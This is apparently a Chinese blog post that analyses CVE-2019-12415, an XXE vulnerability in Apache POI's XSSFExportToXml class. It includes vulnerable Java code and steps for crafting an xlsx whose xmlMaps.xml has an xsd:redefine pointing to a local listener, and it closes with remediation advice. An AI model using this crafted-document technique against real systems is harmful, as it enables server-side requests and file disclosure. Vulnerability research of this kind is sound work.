Apache POI <= 4.1.0 XXE 漏洞 (CVE-2019-12415)

关于 CVE-2019-12415

这是最近 POI 官方公布出来的一个 XXE 漏洞,可以影响到 4.1.0 版本,官方已在十天前更新了 4.1.1 版本,最新版本修复了这个 XXE漏洞。

In Apache POI up to 4.1.0, when using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External Entity (XXE) Processing.

根据官方介绍,漏洞是在使用XSSFExportToXml类 xlsx 转 xml 时触发的。

diff 了一下 4.1.0 和 4.1.1 XSSFExportToXml 类的源码,发现在 isValid 方法里多设置了一个 feature,问题就出在 org.apache.poi.xssf.extractor.XSSFExportToXml#isValid 方法里,如果org.apache.poi.xssf.extractor.XSSFExportToXml#exportToXML(java.io.OutputStream, java.lang.String, boolean)方法的第三个参数为 true 则会进入isValid触发XXE。

1572093353(1).jpg

复现

我改了一下官网的测试用例,如果写成这样的,就会有漏洞。

XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("CustomXMLMappings.xlsx")));

for (XSSFMap map : wb.getCustomXMLMappings()) {
     XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 将 xlsx 转成 xml
     exporter.exportToXML(System.out, true);//第一个参数是输出流无所谓,第二个参数要为 true
}

然后下载这个 xlsx 文件。

https://github.com/apache/poi/raw/f509d1deae86866ed531f10f2eba7db17e098473/test-data/spreadsheet/CustomXMLMappings.xlsx

把文件改为“CustomXMLMappings.zip”并解压文件。

编辑 CustomXMLMappings/xl/xmlMaps.xml 文件。

<xsd:schema> 标签里面加上一行代码。

<xsd:redefine schemaLocation="http://127.0.0.1:8080/"></xsd:redefine>

1572097114(1).jpg

然后把 xlsx 释放出来的所有文件再用 zip 打包回去,改成 CustomXMLMappings.xlsx

最后一步监听本地 8080 端口,运行这段代码。

XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("CustomXMLMappings.xlsx")));

for (XSSFMap map : wb.getCustomXMLMappings()) {
     XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 将 xlsx 转成 xml
     exporter.exportToXML(System.out, true);//第一个参数是输出流无所谓,第二个参数要为 true
}

1572096968(1).jpg

修复

  1. 更新到 4.1.1 及以上版本。
  2. 不要使用 XSSFExportToXml 类,或者不要让 exportToXML 方法的第二个参数为 true。

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。